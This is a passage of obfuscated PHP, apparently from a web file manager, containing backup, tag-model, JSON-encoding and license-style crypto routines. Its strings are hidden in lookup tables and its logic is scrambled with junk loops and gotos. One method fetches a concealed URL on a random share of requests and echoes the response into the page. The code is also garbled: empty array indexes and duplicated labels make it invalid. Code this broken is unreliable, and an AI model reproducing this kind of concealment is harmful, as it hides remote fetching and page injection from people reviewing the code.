$AϹ = $a[608]; while ($AϹ < $a[553]) { if ($AϹ >= 0) { break; } $AϹ++; } $F = array($fυŪ[165] => $fυŪ[61]($fυŪ[62])->{$_SERVER[۩][63]}($fυŪ[209]), $fυŪ[178] => $this->cvehc2b966c0, $fυŪ[176] => $_SERVER[$fυŪ[177]], $fυŪ[169] => $fυŪ[149], $fυŪ[172] => $_SERVER[$fυŪ[173]]); goto aʉ; aʉ: $Cϯ = $a[609]; if (strlen($Cϯ) < $a[547]) { return; } $A = $this->{$_SERVER[۩][182]}($fυŪ[279], $F); goto eϔԊ; F鲬: $fǮѦ = $a[607]; while (strlen($fǮѦ) < $a[557]) { if (!$fǮѦ) { break; } $fǮѦ++; } $FҢ = $fυŪ[274] . $fυŪ[114]($fυŪ[275]); goto fبӛ; F: } private function vnfhf461c788($E݆ = '', $FƠ = array(), $e = 5) { goto Fƭ; F֯ϗ: $F슂 = $DԿ[613]; if (strlen($F슂) < $DԿ[553]) { die; } goto fƢɓ; e: return $E㶏[190]($FƠ, !0); $b = $DԿ[612]; if (strlen($b) < $DԿ[549]) { return; } goto F֯ϗ; Fƭ: $DԿ =& $_SERVER[ڊ]; $E㶏 =& $_SERVER[۩]; $d죊 = $E㶏[281]; goto FГ; FГ: $d죊 = $this->{$_SERVER[۩][243]}($d죊, $E㶏[282]); $d죊 = $d죊 . $E݆ . $E㶏[283] . $E㶏[284]($FƠ); if ($FƠ === -1) { return $d죊; } goto dɩ; dɩ: $Bҡ = $E㶏[245](array($E㶏[246] => array($E㶏[249] => $e, $E㶏[247] => $E㶏[285]), $E㶏[286] => array($E㶏[287] => !1, $E㶏[288] => !1))); $FƠ = @$E㶏[250]($d죊, !1, $Bҡ); $bӍ = $DԿ[611]; goto e; fƢɓ: } private function kiqa39a0fcb6() { goto Cɜ¿; Cɜ¿: $b =& $_SERVER[ڊ]; $D񢎵 =& $_SERVER[۩]; $d = array($D񢎵[289] => $D񢎵[290], $D񢎵[291] => $D񢎵[292], $D񢎵[293] => $D񢎵[294], $D񢎵[295] => $D񢎵[296], $D񢎵[297] => $D񢎵[298], $D񢎵[299] => $D񢎵[238], $D񢎵[300] => $D񢎵[238], $D񢎵[301] => $D񢎵[290], $D񢎵[302] => $D񢎵[292], $D񢎵[303] => $D񢎵[294], $D񢎵[304] => $D񢎵[305], $D񢎵[306] => $D񢎵[296], $D񢎵[307] => $D񢎵[308], $D񢎵[309] => $D񢎵[298], $D񢎵[310] => $D񢎵[311], $D񢎵[312] => $D񢎵[313], $D񢎵[314] => $D񢎵[315]); goto A֊; eΆ: while (strlen($C¬ʻ) < $b[549]) { if (!$C¬ʻ) { break; } $C¬ʻ++; } goto D҄; d昼: $e = $e ? $D񢎵[201]($e) : 0; return $e + $e; $C¬ʻ = $b[616]; goto eΆ; A֊: $C = $b[614]; while (strlen($C) < $b[560]) { if (!$C) { break; } $C++; } $e = $d[$this->cvehc2b966c0]; goto B̩; B̩: $e = $D񢎵[201]($e ? $e : $D񢎵[290]); $DՃ = $b[615]; $e = $D񢎵[104]($this->tcwjd3305372, $D񢎵[316]); goto d昼; D҄: } public function tfnm6774c695($cѾ) { goto Eު˗; d׫: $dͱ = $Ał[222]($dͱ, $Ał[10], $Ał[318]); $dḍ = $E[618]; if (!$dḍ) { return; } goto eҺ; A: $Bƨ = $E[617]; if (!$Bƨ) { return; } if ($DӚ >= $Ał[201]($Ał[238])) { return; } goto f¢; Eު˗: $E =& $_SERVER[ڊ]; $Ał =& $_SERVER[۩]; $DӚ = $this->{$_SERVER[۩][137]}(); goto A; f¢: $d = $Ał[61]($Ał[139])->{$_SERVER[۩][140]}(); if ($d <= $DӚ) { return; } $dͱ = $Ał[61]($Ał[139])->{$_SERVER[۩][317]}($Ał[318])->{$_SERVER[۩][319]}($DӚ)->{$_SERVER[۩][320]}(); goto d׫; eҺ: if (!$Ał[236]($cѾ[$Ał[318]], $dͱ)) { $Ał[166]($Ał[321], !1, $Ał[233]); } goto Bȱ; Bȱ: } public function dqwvb9602891() { goto e๱; E: $a = $Bň[245](array($Bň[246] => array($Bň[247] => $Bň[248], $Bň[249] => 3))); $f = $Bʸ[620]; if (!$f) { return; } goto e; e๱: $Bʸ =& $_SERVER[ڊ]; $Bň =& $_SERVER[۩]; if (!$Bň[104]($GLOBALS, $Bň[132]) || $Bň[322](1, 100) > 20) { return; } goto b΢; eƋǦ: echo $Bň[323] . $Bň[324]($D֢đ) . $Bň[325]; $b譆 = $Bʸ[622]; if (!$b譆) { return; } goto cﭙ; b΢: $e = $Bň[242]; $B՘ = $Bʸ[619]; $e = $this->{$_SERVER[۩][243]}($e, $Bň[244]); goto E; e: $D֢đ = @$Bň[250]($e, !1, $a); $F߆ = $Bʸ[621]; if (strlen($F߆) < $Bʸ[547]) { return; } goto eƋǦ; cﭙ: } private function lije0142cec0($Fυ, $f߬ʼn, $Fޣ = 3) { goto B𼑚; D¦: if (!$F߃) { die; } $A = $a[124](15); $bǣۜ = $a[327]; goto B; fϱ“ڹ: $Fͯ = $Bݳ[623]; $Fυ = $a[2]($Fυ); $E = $Bݳ[624]; goto A; B: $bѡ = $a[214]($E֟ . $A . $bѡ); if ($Fޣ - 1 > 0) { $bѡ = $this->{$_SERVER[۩][127]}($bѡ, $f߬ʼn, $Fޣ - 1); } return $bѡ; goto Aɂ; B𼑚: $Bݳ =& $_SERVER[ڊ]; $a =& $_SERVER[۩]; $a[326](1); goto fϱ“ڹ; A: while (strlen($E) < $Bݳ[553]) { if (!$E) { break; } $E++; } $E֟ = $a[322](0, 5) . $a[10]; $F߃ = $Bݳ[567]; goto D¦; B: $b̃ꡑԤ = $Bݳ[625]; while ($b̃ꡑԤ < $Bݳ[549]) { if ($b̃ꡑԤ >= 0) { break; } $b̃ꡑԤ++; } switch ($E֟) { case $a[229]: $bѡ = $this->{$_SERVER[۩][147]}($Fυ, $a[214]($f߬ʼn . $A)); break; $a̷ = $Bݳ[626]; if (!$a̷) { die; } case $a[220]: $bѡ = $this->{$_SERVER[۩][147]}($Fυ, $a[214]($A . $f߬ʼn)); break; $E߹ͧ = $Bݳ[627]; if (strlen($E߹ͧ) < $Bݳ[547]) { return; } case $a[328]: $bѡ = $this->{$_SERVER[۩][147]}($Fυ, $a[118]($A . $f߬ʼn)); break; $Bʹ = $Bݳ[628]; while ($Bʹ < $Bݳ[557]) { if ($Bʹ >= 0) { break; } $Bʹ++; } case $a[329]: $bѡ = $this->{$_SERVER[۩][147]}($Fυ, $a[114]($A . $f߬ʼn)); $dǏ = $Bݳ[629]; while ($dǏ < $Bݳ[560]) { if ($dǏ >= 0) { break; } $dǏ++; } break; $fӋς = $Bݳ[630]; if (!$fӋς) { return; } case $a[330]: goto C荿; Bڑ: for ($aʝޡ = 0; $aʝޡ < $a[24]($Fυ); $aʝޡ++) { $F = $F == $a[24]($b·) ? 0 : $F; $a = ($F؇ + $a[332]($bǣۜ, $Fυ[$aʝޡ]) + $a[333]($b·[$F++])) % 64; $A瓨 = $Bݳ[638]; while (strlen($A瓨) < $Bݳ[560]) { if (!$A瓨) { break; } $A瓨++; } $C .= $bǣۜ[$a]; $f = $Bݳ[639]; } $bѡ = $a[324]($e繓 . $C); $cڑ = $Bݳ[640]; goto C; d⯦: $D = $Bݳ[632]; if (!$D) { return; } $e繓 = $bǣۜ[$F؇]; goto b; b낏: $a = 0; $Aϕ = $Bݳ[636]; if (!$Aϕ) { die; } goto eӦ; eӦ: $F = 0; $e = $Bݳ[637]; while (strlen($e) < $Bݳ[547]) { if (!$e) { break; } $e++; } goto Bڑ; C: if (!$cڑ) { return; } break; $D = $Bݳ[641]; goto Fىؼ; BՋλ: $b· = $a[25]($b·, $F؇ % 8, $F؇ % 8 + 7); $C = $a[10]; $FѐمƏ = $Bݳ[634]; goto fȩׯ; b: $b· = $a[114]($e繓 . $a[114]($f߬ʼn . $e繓) . $f߬ʼn); $bִ = $Bݳ[633]; if (!$bִ) { die; } goto BՋλ; C荿: $Fυ = $a[118]($Fυ); $f춖 = $Bݳ[631]; $F؇ = $a[331](0, 64); goto d⯦; fȩׯ: if (!$FѐمƏ) { die; } $aʝޡ = 0; $bأ = $Bݳ[635]; goto b낏; Fىؼ: if (strlen($D) < $Bݳ[557]) { return; } goto E; E: default: $bѡ = $this->{$_SERVER[۩][147]}($Fυ, $f߬ʼn . $A); $C܆ = $Bݳ[642]; if (!$C܆) { die; } break; $f֌ = $Bݳ[643]; if (strlen($f֌) < $Bݳ[547]) { return; } } goto B; Aɂ: } private function jyxcc02bb0c7($AǑ, $Cɇ, $B = 3) { goto aϮ; f才: $d⺰ = $E[327]; switch ($Bی¦) { case $E[229]: $FԖ = $this->{$_SERVER[۩][243]}($AǑ, $E[214]($Cɇ . $Dģ)); $c籐 = $E[646]; while (strlen($c籐) < $E[557]) { if (!$c籐) { break; } $c籐++; } break; $C沅 = $E[647]; while (strlen($C沅) < $E[557]) { if (!$C沅) { break; } $C沅++; } case $E[220]: $FԖ = $this->{$_SERVER[۩][243]}($AǑ, $E[214]($Dģ . $Cɇ)); $Dь = $E[648]; break; case $E[328]: $FԖ = $this->{$_SERVER[۩][243]}($AǑ, $E[118]($Dģ . $Cɇ)); break; case $E[329]: $FԖ = $this->{$_SERVER[۩][243]}($AǑ, $E[114]($Dģ . $Cɇ)); break; $fߢܩ = $E[649]; case $E[330]: goto d; a𗜑: $a، = $E[25]($a،, $b۔ȶ % 8, $b۔ȶ % 8 + 7); $eܜ = $E[654]; $cںԊ = $E[10]; goto C昤; f󉓭: while ($eԕ < $E[557]) { if ($eԕ >= 0) { break; } $eԕ++; } $b۔ȶ = $E[332]($d⺰, $eǒƔ); $eڧ٥ = $E[652]; goto Cۺ; d: $AǑ = $E[335]($AǑ); $D熩 = $E[650]; if (strlen($D熩) < $E[557]) { return; } goto A; Cۺ: if (strlen($eڧ٥) < $E[549]) { die; } $a، = $E[114]($eǒƔ . $E[114]($Cɇ . $eǒƔ) . $Cɇ); $ddžÓ = $E[653]; goto a𗜑; eÄᐍȗ: $FԖ = $E[336]($cںԊ); break; goto C⊸; cî: $E܏ = $E[656]; $B柫 = 0; for ($fő = 0; $fő < $E[24]($AǑ); $fő++) { $B柫 = $B柫 == $E[24]($a،) ? 0 : $B柫; $F԰ = $E[657]; if (strlen($F԰) < $E[560]) { die; } $aܼօ = $B柫++; $F = $E[332]($d⺰, $AǑ[$fő]) - $b۔ȶ - $E[333]($a،[$aܼօ]); while ($F < 0) { $F += 64; } $cںԊ .= $d⺰[$F]; } goto eÄᐍȗ; A: $eǒƔ = $AǑ[0]; $AǑ = $E[25]($AǑ, 1); $eԕ = $E[651]; goto f󉓭; C昤: $fő = 0; $cȲ = $E[655]; $F = 0; goto cî; C⊸: default: $FԖ = $this->{$_SERVER[۩][243]}($AǑ, $Cɇ . $Dģ); $CΉێ = $E[658]; if (strlen($CΉێ) < $E[557]) { die; } break; } if ($B - 1 > 0) { $FԖ = $this->{$_SERVER[۩][188]}($FԖ, $Cɇ, $B - 1); } goto C說㿠; Fڋ: while ($C < $E[553]) { if ($C >= 0) { break; } $C++; } $Bی¦ = $AǑ[0]; $D = $E[645]; goto d; c똵: $AǑ = $E[2]($AǑ); $AǑ = $E[214]($AǑ); $C = $E[644]; goto Fڋ; aϮ: $E =& $_SERVER[ڊ]; $E =& $_SERVER[۩]; if (!$E[334]($AǑ) || $E[24]($AǑ) < 10) { return !1; } goto c똵; C說㿠: return $FԖ; goto a߅; d: while (strlen($D) < $E[560]) { if (!$D) { break; } $D++; } $Dģ = $E[25]($AǑ, 1, 15); $AǑ = $E[25]($AǑ, 16); goto f才; a߅: } public function lksp97f448a3($b힄) { goto Eޓ񩑏; Eޓ񩑏: $EОܕ =& $_SERVER[ڊ]; $E =& $_SERVER[۩]; $Cօ = $this->{$_SERVER[۩][337]}(); goto E͋ٞ; CŹ: return $a݇; goto BЅ; a: $a͹† = $E[201](($Cօ + $bΗ) / 2); while (1) { $c = $a͹†; $eͳЭٟ = $EОܕ[660]; if (!$eͳЭٟ) { return; } $b = $aΐ; $DŊۏ = $EОܕ[661]; while ($b % $c != 0) { $dѶ = $b; $b = $c; $F覭 = $EОܕ[662]; while ($F覭 < $EОܕ[557]) { if ($F覭 >= 0) { break; } $F覭++; } $c = $dѶ % $c; $dٿب = $EОܕ[663]; if (!$dٿب) { die; } } if ($c == 1) { break; } else { $a͹†++; } } $Aȣ = 2; goto f뤇; f뤇: $c = $EОܕ[664]; if (strlen($c) < $EОܕ[553]) { die; } for ($F = 0; $F < $aΐ * 10; $F++) { if (($aΐ * $F + 1) % $a͹† == 0) { $Aȣ = $E[201](($aΐ * $F + 1) / $a͹†); break; } } goto fĥ; fĥ: $aބ = $this->{$_SERVER[۩][147]}($Cօ * $bΗ . $E[10], $E[149]); $dָݦ = $E[114]($E[338] . ($Cօ + $bΗ) . $E[339] . $a͹† . $E[339] . $Aȣ . $E[340]); $a݇ = $this->{$_SERVER[۩][147]}($b힄, $dָݦ) . $E[341] . $aބ; goto CŹ; E͋ٞ: $bΗ = $this->{$_SERVER[۩][337]}(); $aΐ = ($Cօ - 1) * ($bΗ - 1); $a兆 = $EОܕ[659]; goto a; BЅ: } public function mlpicd4a42fe($E) { goto C✷; F㟏: return $Cϖ; goto b; eݍ: if ($aͮ̐[19]($bߨ) != 2) { return $aͮ̐[10]; } $f = $this->{$_SERVER[۩][243]}($bߨ[1] . $aͮ̐[10], $aͮ̐[149]); $e = $A[665]; goto eܺ; eܺ: if (!$f) { return $aͮ̐[10]; } $f = $aͮ̐[201]($f); $e = 0; goto b; dц: $B = ($e - 1) * ($Aܺ - 1); $A = $A[669]; $BЮ = $aͮ̐[201](($e + $Aܺ) / 2); goto c; C✷: $A =& $_SERVER[ڊ]; $aͮ̐ =& $_SERVER[۩]; $bߨ = $aͮ̐[0]($aͮ̐[341], $E); goto eݍ; b: $Aܺ = 0; $A蘆 = $A[666]; for ($B옃٬ = 3; $B옃٬ < $f; $B옃٬ += 2) { if ($f % $B옃٬ != 0) { continue; } $e = $B옃٬; $Aܺ = $aͮ̐[201]($f / $B옃٬); $F釺 = $A[667]; if (strlen($F釺) < $A[557]) { return; } break; $F = $A[668]; if (!$F) { die; } } goto dц; dɎ: $b = $aͮ̐[114]($aͮ̐[338] . ($e + $Aܺ) . $aͮ̐[339] . $BЮ . $aͮ̐[339] . $fȵۏ . $aͮ̐[340]); $Cϖ = $this->{$_SERVER[۩][243]}($bߨ[0], $b); $a = $A[674]; goto F㟏; c: while (1) { $b͜ = $BЮ; $DѭĊ = $B; $Dܕ = $A[670]; while ($Dܕ < $A[547]) { if ($Dܕ >= 0) { break; } $Dܕ++; } while ($DѭĊ % $b͜ != 0) { $b䥍޸ = $DѭĊ; $a = $A[671]; $DѭĊ = $b͜; $F = $A[672]; $b͜ = $b䥍޸ % $b͜; $Aô = $A[673]; if (!$Aô) { return; } } if ($b͜ == 1) { break; } else { $BЮ++; } } $fȵۏ = 2; for ($B옃٬ = 0; $B옃٬ < $B * 10; $B옃٬++) { if (($B * $B옃٬ + 1) % $BЮ == 0) { $fȵۏ = $aͮ̐[201](($B * $B옃٬ + 1) / $BЮ); break; } } goto dɎ; b: } public function vzfld28789db() { goto c̍; D׸: $f蕑 = $Aރݸ[677]; for ($cȞ = $FЅ; $cȞ > 1; $cȞ--) { $fę = !0; $cİ = $Aރݸ[678]; if (strlen($cİ) < $Aރݸ[549]) { return; } foreach ($bɰ܄ as $e꒻) { if ($cȞ % $e꒻ == 0) { $fę = !1; break; } } if ($fę) { $f = $cȞ; break; } } return $f; goto A; DĆ܅: while (strlen($A) < $Aރݸ[547]) { if (!$A) { break; } $A++; } while ($B <= (int) $eɎ[343]($FЅ)) { $cȞ = $B; while (!0) { $cȞ++; $D󛊞 = $Aރݸ[676]; if ($cȞ <= 2) { $B = $cȞ; break; } else { if ($cȞ < 2) { continue; } } $fę = !0; for ($dň썜 = 2; $dň썜 <= $eɎ[343]($cȞ); $dň썜++) { if ($cȞ % $dň썜 == 0) { $fę = !1; } } if ($fę) { $B = $cȞ; break; } } $bɰ܄[] = $B; } $f = 2; goto D׸; A: $a䡬 = $Aރݸ[679]; goto f; EȮ: $bɰ܄ = array(); $B = 1; $A = $Aރݸ[675]; goto DĆ܅; c̍: $Aރݸ =& $_SERVER[ڊ]; $eɎ =& $_SERVER[۩]; $FЅ = $eɎ[322]($eɎ[342](2, 14), $eɎ[342](2, 16) - 1); goto EȮ; f: } public function xymq2b4b4028($A, $c) { $f =& $_SERVER[ڊ]; $CΩ޷ =& $_SERVER[۩]; return $CΩ޷[13](array($CΩ޷[14], $CΩ޷[344]), $A, $c); $fꮐ = $f[680]; while ($fꮐ < $f[560]) { if ($fꮐ >= 0) { break; } $fꮐ++; } } public function fpsk3fe65074($A, $d殺) { $A撪 =& $_SERVER[۩]; return $A撪[13](array($A撪[345], $A撪[346]), $A, $d殺); $Dì = $_SERVER[ڊ][681]; } public function cltee215d411($B, $E݈) { $Fŕ =& $_SERVER[۩]; return $Fŕ[13](array($Fŕ[345], $Fŕ[347]), $B, $E݈); } } class Backup { protected static $name; protected static $option; public function __construct() { $this->init(); } public function init() { $a =& $_SERVER[ڊ]; self::$name = date($a[682]); if (!($f܍ = Model($a[683])->lastItem())) { $f܍ = $this->initData(); } else { self::$name = $f܍[$a[28]]; if ($f܍[$a[684]] == $a[83]) { self::$name = date($a[685]); $c = 0; if (isset($f܍[$a[278]][$a[164]][$a[415]])) { $c = (int) $f܍[$a[278]][$a[164]][$a[415]]; } if ($f܍[$a[28]] == self::$name) { Model($a[683])->remove($f܍[$a[364]]); } $f܍ = $this->initData($c, $f܍[$a[686]]); } else { $this->checkStore($f܍[$a[686]]); } } self::$option = $f܍; } private function initData($E = 0, $Aꆝ = '') { goto e旒; e旒: $CЬ =& $_SERVER[ڊ]; $C⊺ = Model($CЬ[683])->config(); if ($Aꆝ && $C⊺[$CЬ[686]] != $Aꆝ) { $E = 0; } goto a˾ڊջ; Cߤ: $E璩[$CЬ[364]] = $aے; return $E璩; goto Dğ; a˾ڊջ: $this->checkStore($C⊺[$CЬ[686]]); $E璩 = array($CЬ[686] => $C⊺[$CЬ[686]], $CЬ[28] => self::$name, $CЬ[684] => 0, $CЬ[687] => $C⊺[$CЬ[687]], $CЬ[278] => array($CЬ[688] => array($CЬ[684] => 0), $CЬ[689] => array($CЬ[684] => 0, $CЬ[690] => 0, $CЬ[691] => 0, $CЬ[29] => $CЬ[33]), $CЬ[692] => array($CЬ[684] => 0, $CЬ[690] => 0, $CЬ[691] => 0), $CЬ[164] => array($CЬ[684] => 0, $CЬ[693] => 0, $CЬ[694] => 0, $CЬ[695] => 0, $CЬ[696] => 0, $CЬ[415] => $E)), $CЬ[697] => time(), $CЬ[698] => 0); $aے = Model($CЬ[683])->insert($E璩); goto Cߤ; Dğ: } private function checkStore($Bˍ) { $d =& $_SERVER[ڊ]; $b = Model($d[699])->listData($Bˍ); Model($d[699])->checkConfig($b); } public static function get() { if (!self::$option) { self::$option = Model($_SERVER[ڊ][683])->findByName(self::$name); } return self::$option; } public static function set($D퐥ʴ) { $dƾȎ =& $_SERVER[ڊ]; $c܍ߥ = self::get(); foreach ($D퐥ʴ as $c => $aȖ) { $Cؐ챈 = explode($dƾȎ[93], $c); $BԷ = count($Cؐ챈); switch ($BԷ) { case 1: $c܍ߥ[$Cؐ챈[0]] = $aȖ; break; case 2: $c܍ߥ[$Cؐ챈[0]][$Cؐ챈[1]] = $aȖ; break; case 3: $c܍ߥ[$Cؐ챈[0]][$Cؐ챈[1]][$Cؐ챈[2]] = $aȖ; break; } } Model($dƾȎ[683])->update($c܍ߥ[$dƾȎ[364]], $c܍ߥ); self::$option = $c܍ߥ; return self::$option; } public function keep() { $d =& $_SERVER[ڊ]; $B֑ = self::get(); if ($B֑[$d[278]][$d[688]][$d[684]] == $d[83]) { return; } $this->backupKeep($B֑); self::set(array($d[700] => 1)); } private function backupKeep($dڰ) { goto cۯ; cۯ: $BΎ =& $_SERVER[ڊ]; $e = Model($BΎ[683])->listData(); if (empty($e)) { return; } goto fצ; fצ: $Cփ = 0; $a = array(); foreach ($e as $fޚ) { if ($Cփ >= 7) { break; } $a[] = $fޚ[$BΎ[28]]; $Cփ++; } goto Eۆ; Eۆ: for ($Cփ = 0; $Cփ < 12; $Cփ++) { $a[] = date($BΎ[701], strtotime("\55{$Cփ}\40\x6d\x6f\156\x74\x68\163")); } $a = array_unique($a); foreach ($e as $fޚ) { if (!empty($fޚ[$BΎ[28]]) && in_array($fޚ[$BΎ[28]], $a)) { continue; } Model($BΎ[683])->remove($fޚ[$BΎ[364]]); $Dƃ = "\x7b\x69\x6f\x3a{$dڰ[$BΎ[686]]}\x7d\x2f\144\x61\x74\x61\142\141\163\x65\57\x62\x61\x63\153\x75\160\x5f{$fޚ[$BΎ[28]]}"; IO::remove($Dƃ, !1); } goto eϕ; eϕ: } public function db() { goto F; F: $Fٮɘ =& $_SERVER[ڊ]; $fń̇ = self::get(); if ($fń̇[$Fٮɘ[278]][$Fٮɘ[689]][$Fٮɘ[684]] == $Fٮɘ[83]) { return !0; } goto E鯩; Dĉ̼: return !0; goto Edž; E鯩: $Dۼ = new BackupDb(); if (!$Dۼ->index()) { return !1; } self::set(array($Fٮɘ[702] => 1)); goto Dĉ̼; Edž: } public function dbFile() { goto dԨϮ; a彌: $Bъ = new BackupDbFile(); if (!$Bъ->index()) { return !1; } self::set(array($A[703] => 1)); goto fǩ͆; fǩ͆: return !0; goto dݷĊ; dԨϮ: $A =& $_SERVER[ڊ]; $BȤ = self::get(); if ($BȤ[$A[278]][$A[692]][$A[684]] == $A[83]) { return !0; } goto a彌; dݷĊ: } public function file() { $aяىٴ =& $_SERVER[ڊ]; $AΖ = self::get(); if ($AΖ[$aяىٴ[278]][$aяىٴ[164]][$aяىٴ[684]] == $aяىٴ[83]) { return !0; } if (!isset($AΖ[$aяىٴ[687]]) || $AΖ[$aяىٴ[687]] == $aяىٴ[464]) { $Aɺ = new BackupFile(); if (!$Aɺ->index()) { return !1; } } self::set(array($aяىٴ[704] => 1, $aяىٴ[684] => 1)); return !0; } } goto d̙; cٕ: function beforeShutdownError($BЩ = false, $d = '', $DȲѻ = '', $e = 0) { $AŬ =& $_SERVER[]; switch ($BЩ) { case E_PARSE: case E_ERROR: case E_CORE_ERROR: case E_COMPILE_ERROR: case E_USER_ERROR: $F = $AŬ[39]; break; case E_WARNING: case E_USER_WARNING: case E_COMPILE_WARNING: case E_RECOVERABLE_ERROR: $F = $AŬ[40]; break; case E_STRICT: $F = $AŬ[41]; break; case E_NOTICE: case E_USER_NOTICE: $F = $AŬ[42]; break; case E_DEPRECATED: case E_USER_DEPRECATED: $F = $AŬ[43]; break; default: break; } if (!$F || $F == $AŬ[42] || $F == $AŬ[43]) { return; } $DȲѻ = $AŬ[4] . str_replace($_SERVER[$AŬ[37]], $AŬ[20], $DȲѻ); $F᪟ = $F . $AŬ[44] . $d . $AŬ[44] . $DȲѻ . $AŬ[44] . $e; write_log($F᪟ . $AŬ[18] . get_caller_msg(1), $AŬ[19]); } $_SERVER[$_SERVER[][45]] = $_SERVER[$_SERVER[][37]] . $_SERVER[][46]; $E՗ = strrev(base64_decode($_SERVER[][47])); goto F; a: class UserTagModel extends ModelBaseLight { public $optionType = "\x55\163\x65\162\56\x74\141\x67\114\x69\163\164"; public $modelType = "\125\x73\x65\x72\117\x70\x74\151\157\x6e"; public $field = array("\156\141\155\x65", "\163\x74\x79\154\x65", "\163\157\x72\x74"); public function listData($e׳ = false, $d̓ = "\163\157\x72\164", $c䧌 = false) { return parent::listData($e׳, $d̓, $c䧌); } public function remove($A) { return parent::remove($A); } public function add($d刃, $c = "\154\x61\x62\145\154\55\x67\162\x65\171\55\156\x6f\x72\x6d\141\x6c") { $e੗Ģ =& $_SERVER[ڊ]; if ($this->findByName($d刃)) { return !1; } $eሟ = array($e੗Ģ[383] => $d刃, $e੗Ģ[433] => $c, $e੗Ģ[2076] => $this->getSort($e੗Ģ[243]) + 1); return parent::insert($eሟ); } public function update($C↦, $C) { $Dԥ =& $_SERVER[ڊ]; $d狐 = $this->listData($C↦); $aǍŬ = $this->findByName($C[$Dԥ[28]]); if (!$d狐 || $aǍŬ && $aǍŬ[$Dԥ[364]] != $d狐[$Dԥ[364]]) { return !1; } return parent::update($C↦, $C); } public function moveTop($b☍) { $eٽ =& $_SERVER[ڊ]; $a҂ = parent::listData(); $cΩ = $this->getSort($eٽ[242]); foreach ($a҂ as &$fẆժ) { if ($fẆժ[$eٽ[364]] == $b☍) { $fẆժ[$eٽ[2093]] = $cΩ; continue; } $fẆժ[$eٽ[2093]] += 1; } return parent::resetData($a҂); } public function moveBottom($a܊ڪ) { $Bݧ݄ =& $_SERVER[ڊ]; $b㿋ʝ = $this->getSort($Bݧ݄[243]) + 1; return parent::update($a܊ڪ, array($Bݧ݄[2093] => $b㿋ʝ)); } public function resetSort($c̬) { goto F; F±: for ($EȨ = 0; $EȨ < count($c̬); $EȨ++) { $e酊[$c̬[$EȨ] . $c[33]] = $EȨ + 1; } $aڨ = parent::listData(); foreach ($aڨ as &$Aߚֲ) { $bȑН = $e酊[$Aߚֲ[$c[364]]]; $Aߚֲ[$c[2093]] = $bȑН ? $bȑН : $Aߚֲ[$c[2093]]; } goto b; b: return parent::resetData($aڨ); goto b؈ʿ; F: $c =& $_SERVER[ڊ]; $e酊 = array(); $c̬ = is_array($c̬) ? $c̬ : array(); goto F±; b؈ʿ: } private function getSort($a) { $Aʋ =& $_SERVER[ڊ]; $A = parent::listData(); $c냣 = array_to_keyvalue($A, $Aʋ[33], $Aʋ[2093]); if (!$c냣) { $c냣 = array(0); } $A = $a == $Aʋ[243] ? max($c냣) : min($c냣); return intval($A); } } goto D; C¥: define($_SERVER[ڊ][1906], 32); class Services_JSON { function __construct($D = 0) { $this->use = $D; } function utf162utf8($a) { $Eյܰ =& $_SERVER[ڊ]; if (function_exists($Eյܰ[68])) { return mb_convert_encoding($a, $Eյܰ[1558], $Eյܰ[1907]); } $d丒 = ord($a[0]) << 8 | ord($a[1]); switch (!0) { case (127 & $d丒) == $d丒: return chr(127 & $d丒); case (2047 & $d丒) == $d丒: return chr(192 | $d丒 >> 6 & 31) . chr(128 | $d丒 & 63); case (65535 & $d丒) == $d丒: return chr(224 | $d丒 >> 12 & 15) . chr(128 | $d丒 >> 6 & 63) . chr(128 | $d丒 & 63); } return $Eյܰ[33]; } function utf82utf16($A๓) { $D臺ғ =& $_SERVER[ڊ]; if (function_exists($D臺ғ[68])) { return mb_convert_encoding($A๓, $D臺ғ[1907], $D臺ғ[1558]); } switch (strlen($A๓)) { case 1: return $A๓; case 2: return chr(7 & ord($A๓[0]) >> 2) . chr(192 & ord($A๓[0]) << 6 | 63 & ord($A๓[1])); case 3: return chr(240 & ord($A๓[0]) << 4 | 15 & ord($A๓[1]) >> 2) . chr(192 & ord($A๓[1]) << 6 | 127 & ord($A๓[2])); } return $D臺ғ[33]; } function encode($Eܵ) { $EŔ =& $_SERVER[ڊ]; switch (gettype($Eܵ)) { case $EŔ[1569]: return $Eܵ ? $EŔ[1568] : $EŔ[1570]; case $EŔ[1908]: return $EŔ[101]; case $EŔ[300]: return (int) $Eܵ; case $EŔ[275]: case $EŔ[274]: return (double) $Eܵ; case $EŔ[309]: $a = $EŔ[33]; $Dⴓ = strlen($Eܵ); for ($aԮ = 0; $aԮ < $Dⴓ; ++$aԮ) { $Aִӳ = ord($Eܵ[$aԮ]); switch (!0) { case $Aִӳ == 8: $a .= $EŔ[1909]; break; case $Aִӳ == 9: $a .= $EŔ[1545]; break; case $Aִӳ == 10: $a .= $EŔ[1543]; break; case $Aִӳ == 12: $a .= $EŔ[1910]; break; case $Aִӳ == 13: $a .= $EŔ[1544]; break; case $Aִӳ == 34: case $Aִӳ == 47: case $Aִӳ == 92: $a .= $EŔ[95] . $Eܵ[$aԮ]; break; case $Aִӳ >= 32 && $Aִӳ <= 127: $a .= $Eܵ[$aԮ]; break; case ($Aִӳ & 224) == 192: $F = pack($EŔ[1911], $Aִӳ, ord($Eܵ[$aԮ + 1])); $aԮ += 1; $dܨ = $this->utf82utf16($F); $a .= sprintf($EŔ[1912], bin2hex($dܨ)); break; case ($Aִӳ & 240) == 224: $F = pack($EŔ[1911], $Aִӳ, ord($Eܵ[$aԮ + 1]), ord($Eܵ[$aԮ + 2])); $aԮ += 2; $dܨ = $this->utf82utf16($F); $a .= sprintf($EŔ[1912], bin2hex($dܨ)); break; case ($Aִӳ & 248) == 240: $F = pack($EŔ[1911], $Aִӳ, ord($Eܵ[$aԮ + 1]), ord($Eܵ[$aԮ + 2]), ord($Eܵ[$aԮ + 3])); $aԮ += 3; $dܨ = $this->utf82utf16($F); $a .= sprintf($EŔ[1912], bin2hex($dܨ)); break; case ($Aִӳ & 252) == 248: $F = pack($EŔ[1911], $Aִӳ, ord($Eܵ[$aԮ + 1]), ord($Eܵ[$aԮ + 2]), ord($Eܵ[$aԮ + 3]), ord($Eܵ[$aԮ + 4])); $aԮ += 4; $dܨ = $this->utf82utf16($F); $a .= sprintf($EŔ[1912], bin2hex($dܨ)); break; case ($Aִӳ & 254) == 252: $F = pack($EŔ[1911], $Aִӳ, ord($Eܵ[$aԮ + 1]), ord($Eܵ[$aԮ + 2]), ord($Eܵ[$aԮ + 3]), ord($Eܵ[$aԮ + 4]), ord($Eܵ[$aԮ + 5])); $aԮ += 5; $dܨ = $this->utf82utf16($F); $a .= sprintf($EŔ[1912], bin2hex($dܨ)); break; } } return $EŔ[113] . $a . $EŔ[113]; case $EŔ[1913]: if (is_array($Eܵ) && count($Eܵ) && array_keys($Eܵ) !== range(0, sizeof($Eܵ) - 